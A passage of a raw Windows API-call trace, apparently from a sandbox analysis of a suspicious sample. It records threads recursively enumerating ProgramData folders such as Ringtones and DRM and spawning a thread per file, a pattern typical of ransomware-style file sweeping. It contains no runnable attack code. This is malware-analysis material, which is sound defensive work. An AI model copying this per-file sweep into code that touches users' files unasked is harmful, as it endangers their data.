dwReserved1=0x0, cFileName="usertile44.bmp", cAlternateFileName="")) returned 1 [0140.746] wcscmp (_String1="usertile44.bmp", _String2=".") returned 1 [0140.746] wcscmp (_String1="usertile44.bmp", _String2="..") returned 1 [0140.746] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x934870 [0140.746] wcscpy (in: _Dest=0x934870, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0140.746] wcscat (in: _Dest=0x934870, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0140.746] wcscat (in: _Dest=0x934870, _Source="usertile44.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile44.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile44.bmp" [0140.746] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x934870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x50c [0140.747] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae679aa0, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae679aa0, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddd354d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile44.bmp", cAlternateFileName="")) returned 0 [0140.747] FindClose (in: hFindFile=0x8da110 | out: hFindFile=0x8da110) returned 1 [0143.412] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x907c48) returned 1 [0143.412] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6638) returned 1 [0143.412] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f70a8) returned 1 Thread: id = 1770 os_tid = 0x944 [0140.123] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4e) returned 0x8e3ef8 [0140.123] wcscpy (in: _Dest=0x8e3ef8, _Source="C:\\ProgramData\\Microsoft\\Windows\\AIT" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AIT") returned="C:\\ProgramData\\Microsoft\\Windows\\AIT" [0140.123] wcscat (in: _Dest=0x8e3ef8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AIT\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AIT\\" [0140.123] wcscat (in: _Dest=0x8e3ef8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AIT\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\AIT\\*" [0140.123] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9079e0 [0140.123] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AIT\\*", lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd5be7172, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da150 [0140.123] wcscmp (_String1=".", _String2=".") returned 0 [0140.123] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd5be7172, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.123] wcscmp (_String1="..", _String2=".") returned 1 [0140.123] wcscmp (_String1="..", _String2="..") returned 0 [0140.123] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd5be7172, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0140.123] FindClose (in: hFindFile=0x8da150 | out: hFindFile=0x8da150) returned 1 [0140.123] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9079e0) returned 1 [0140.123] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e3ef8) returned 1 [0140.123] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e4898) returned 1 Thread: id = 1771 os_tid = 0x948 [0140.124] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x8e8ad0 [0140.124] wcscpy (in: _Dest=0x8e8ad0, _Source="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore" [0140.124] wcscat (in: _Dest=0x8e8ad0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\" [0140.124] wcscat (in: _Dest=0x8e8ad0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\*" [0140.124] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9079e0 [0140.124] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\*", lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da150 [0140.125] wcscmp (_String1=".", _String2=".") returned 0 [0140.125] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.125] wcscmp (_String1="..", _String2=".") returned 1 [0140.125] wcscmp (_String1="..", _String2="..") returned 0 [0140.125] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9dbcac, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0140.125] wcscmp (_String1="en-US", _String2=".") returned 1 [0140.125] wcscmp (_String1="en-US", _String2="..") returned 1 [0140.125] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x8cfe80 [0140.125] wcscpy (in: _Dest=0x8cfe80, _Source="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore" [0140.125] wcscat (in: _Dest=0x8cfe80, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\" [0140.125] wcscat (in: _Dest=0x8cfe80, _Source="en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US" [0140.125] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8cfe80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x320 [0140.126] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9dbcac, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0140.126] FindClose (in: hFindFile=0x8da150 | out: hFindFile=0x8da150) returned 1 [0140.126] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9079e0) returned 1 [0140.126] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8ad0) returned 1 [0140.126] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e88f0) returned 1 Thread: id = 1772 os_tid = 0x94c [0140.130] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4e) returned 0x8e4898 [0140.130] wcscpy (in: _Dest=0x8e4898, _Source="C:\\ProgramData\\Microsoft\\Windows\\DRM" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DRM") returned="C:\\ProgramData\\Microsoft\\Windows\\DRM" [0140.130] wcscat (in: _Dest=0x8e4898, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DRM\\") returned="C:\\ProgramData\\Microsoft\\Windows\\DRM\\" [0140.130] wcscat (in: _Dest=0x8e4898, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DRM\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\DRM\\*" [0140.130] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9079e0 [0140.131] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\DRM\\*", lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9f50 [0141.997] wcscmp (_String1=".", _String2=".") returned 0 [0141.997] FindNextFileW (in: hFindFile=0x8d9f50, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.997] wcscmp (_String1="..", _String2=".") returned 1 [0141.997] wcscmp (_String1="..", _String2="..") returned 0 [0141.997] FindNextFileW (in: hFindFile=0x8d9f50, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0141.997] wcscmp (_String1="Cache", _String2=".") returned 1 [0141.997] wcscmp (_String1="Cache", _String2="..") returned 1 [0141.997] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x56) returned 0x8feca8 [0141.997] wcscpy (in: _Dest=0x8feca8, _Source="C:\\ProgramData\\Microsoft\\Windows\\DRM" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DRM") returned="C:\\ProgramData\\Microsoft\\Windows\\DRM" [0141.997] wcscat (in: _Dest=0x8feca8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DRM\\") returned="C:\\ProgramData\\Microsoft\\Windows\\DRM\\" [0141.997] wcscat (in: _Dest=0x8feca8, _Source="Cache" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DRM\\Cache") returned="C:\\ProgramData\\Microsoft\\Windows\\DRM\\Cache" [0144.729] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8feca8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e8 [0144.730] FindNextFileW (in: hFindFile=0x8d9f50, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 0 [0144.730] FindClose (in: hFindFile=0x8d9f50 | out: hFindFile=0x8d9f50) returned 1 [0144.732] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9079e0) returned 1 [0144.732] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e4898) returned 1 [0144.732] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e48f0) returned 1 Thread: id = 1773 os_tid = 0x950 [0140.131] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x60) returned 0x90ea10 [0140.131] wcscpy (in: _Dest=0x90ea10, _Source="C:\\ProgramData\\Microsoft\\Windows\\GameExplorer" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\GameExplorer") returned="C:\\ProgramData\\Microsoft\\Windows\\GameExplorer" [0140.131] wcscat (in: _Dest=0x90ea10, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\GameExplorer\\") returned="C:\\ProgramData\\Microsoft\\Windows\\GameExplorer\\" [0140.131] wcscat (in: _Dest=0x90ea10, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\GameExplorer\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\GameExplorer\\*" [0140.131] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91fe38 [0140.131] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\GameExplorer\\*", lpFindFileData=0x91fe38 | out: lpFindFileData=0x91fe38*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da350 [0141.997] wcscmp (_String1=".", _String2=".") returned 0 [0141.997] FindNextFileW (in: hFindFile=0x8da350, lpFindFileData=0x91fe38 | out: lpFindFileData=0x91fe38*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.998] wcscmp (_String1="..", _String2=".") returned 1 [0141.998] wcscmp (_String1="..", _String2="..") returned 0 [0141.998] FindNextFileW (in: hFindFile=0x8da350, lpFindFileData=0x91fe38 | out: lpFindFileData=0x91fe38*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0141.998] FindClose (in: hFindFile=0x8da350 | out: hFindFile=0x8da350) returned 1 [0141.998] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91fe38) returned 1 [0141.998] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90ea10) returned 1 [0141.998] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90ea78) returned 1 Thread: id = 1774 os_tid = 0x954 [0140.132] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0x8f72c8 [0140.132] wcscpy (in: _Dest=0x8f72c8, _Source="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics" [0140.132] wcscat (in: _Dest=0x8f72c8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" [0140.133] wcscat (in: _Dest=0x8f72c8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\*" [0140.133] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9200a0 [0140.133] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\*", lpFindFileData=0x9200a0 | out: lpFindFileData=0x9200a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0140.420] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9200a0) returned 1 [0140.420] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f72c8) returned 1 [0140.421] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f7130) returned 1 Thread: id = 1775 os_tid = 0x958 [0140.134] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5a) returned 0x90e940 [0140.135] wcscpy (in: _Dest=0x90e940, _Source="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" [0140.135] wcscat (in: _Dest=0x90e940, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" [0140.135] wcscat (in: _Dest=0x90e940, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\*" [0140.135] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x920308 [0140.135] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\*", lpFindFileData=0x920308 | out: lpFindFileData=0x920308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942370 [0142.954] wcscmp (_String1=".", _String2=".") returned 0 [0142.954] FindNextFileW (in: hFindFile=0x942370, lpFindFileData=0x920308 | out: lpFindFileData=0x920308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.954] wcscmp (_String1="..", _String2=".") returned 1 [0142.954] wcscmp (_String1="..", _String2="..") returned 0 [0142.954] FindNextFileW (in: hFindFile=0x942370, lpFindFileData=0x920308 | out: lpFindFileData=0x920308*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x264, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0142.954] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0142.954] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0142.954] FindNextFileW (in: hFindFile=0x942370, lpFindFileData=0x920308 | out: lpFindFileData=0x920308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80366a76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x31469, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 01.wma", cAlternateFileName="RINGTO~3.WMA")) returned 1 [0142.954] wcscmp (_String1="Ringtone 01.wma", _String2=".") returned 1 [0142.954] wcscmp (_String1="Ringtone 01.wma", _String2="..") returned 1 [0142.954] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x8d0080 [0142.954] wcscpy (in: _Dest=0x8d0080, _Source="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" [0142.954] wcscat (in: _Dest=0x8d0080, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" [0142.954] wcscat (in: _Dest=0x8d0080, _Source="Ringtone 01.wma" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma" [0147.864] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe98 [0147.865] FindNextFileW (in: hFindFile=0x942370, lpFindFileData=0x920308 | out: lpFindFileData=0x920308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x21fbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 02.wma", cAlternateFileName="RI5404~1.WMA")) returned 1 [0147.865] wcscmp (_String1="Ringtone 02.wma", _String2=".") returned 1 [0147.865] wcscmp (_String1="Ringtone 02.wma", _String2="..") returned 1 [0147.865] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x99ec08 [0147.865] wcscpy (in: _Dest=0x99ec08, _Source="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" [0147.865] wcscat (in: _Dest=0x99ec08, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" [0147.865] wcscat (in: _Dest=0x99ec08, _Source="Ringtone 02.wma" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma" [0147.865] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x99ec08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1474 [0147.867] FindNextFileW (in: hFindFile=0x942370, lpFindFileData=0x920308 | out: lpFindFileData=0x920308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x170f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 03.wma", cAlternateFileName="RI0FCF~1.WMA")) returned 1 [0147.867] wcscmp (_String1="Ringtone 03.wma", _String2=".") returned 1 [0147.867] wcscmp (_String1="Ringtone 03.wma", _String2="..") returned 1 [0147.867] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x99e108 [0147.867] wcscpy (in: _Dest=0x99e108, _Source="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" 